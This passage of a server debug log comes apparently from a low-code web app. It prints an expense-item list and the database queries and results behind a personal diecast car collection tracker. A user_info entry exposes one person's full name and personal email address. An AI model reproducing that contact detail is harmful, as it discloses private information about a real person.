  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T05:47:35.444Z server-connect:app Executing action step identify
2026-02-04T05:47:35.444Z server-connect:app options: { provider: 'security' }
2026-02-04T05:47:35.444Z server-connect:output identity: 1
2026-02-04T05:47:35.444Z server-connect:app Executing action step restrict
2026-02-04T05:47:35.444Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:47:35.445Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T05:47:35.446Z server-connect:output restrict: undefined
2026-02-04T05:47:35.446Z server-connect:app Executing action step paged
2026-02-04T05:47:35.446Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:47:35.447Z server-connect:output restrict: undefined
2026-02-04T05:47:35.447Z server-connect:app Executing action step select
2026-02-04T05:47:35.447Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:47:35.448Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T05:47:35.451Z server-connect:output restrict: undefined
2026-02-04T05:47:35.451Z server-connect:app Executing action step select
2026-02-04T05:47:35.451Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:47:35.453Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-04T05:47:35.453Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T05:47:35.455Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T05:47:35.455Z server-connect:app Executing action step identify
2026-02-04T05:47:35.456Z server-connect:app options: { provider: 'security' }
2026-02-04T05:47:35.456Z server-connect:output identity: 1
2026-02-04T05:47:35.456Z server-connect:app Executing action step restrict
2026-02-04T05:47:35.456Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:47:35.456Z server-connect:output restrict: undefined
2026-02-04T05:47:35.456Z server-connect:app Executing action step select
2026-02-04T05:47:35.456Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:47:35.457Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T05:47:35.457Z server-connect:app Executing action step select
2026-02-04T05:47:35.457Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:47:35.458Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 21,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:47:35.459Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T05:47:35.459Z server-connect:app Executing action step select
2026-02-04T05:47:35.459Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
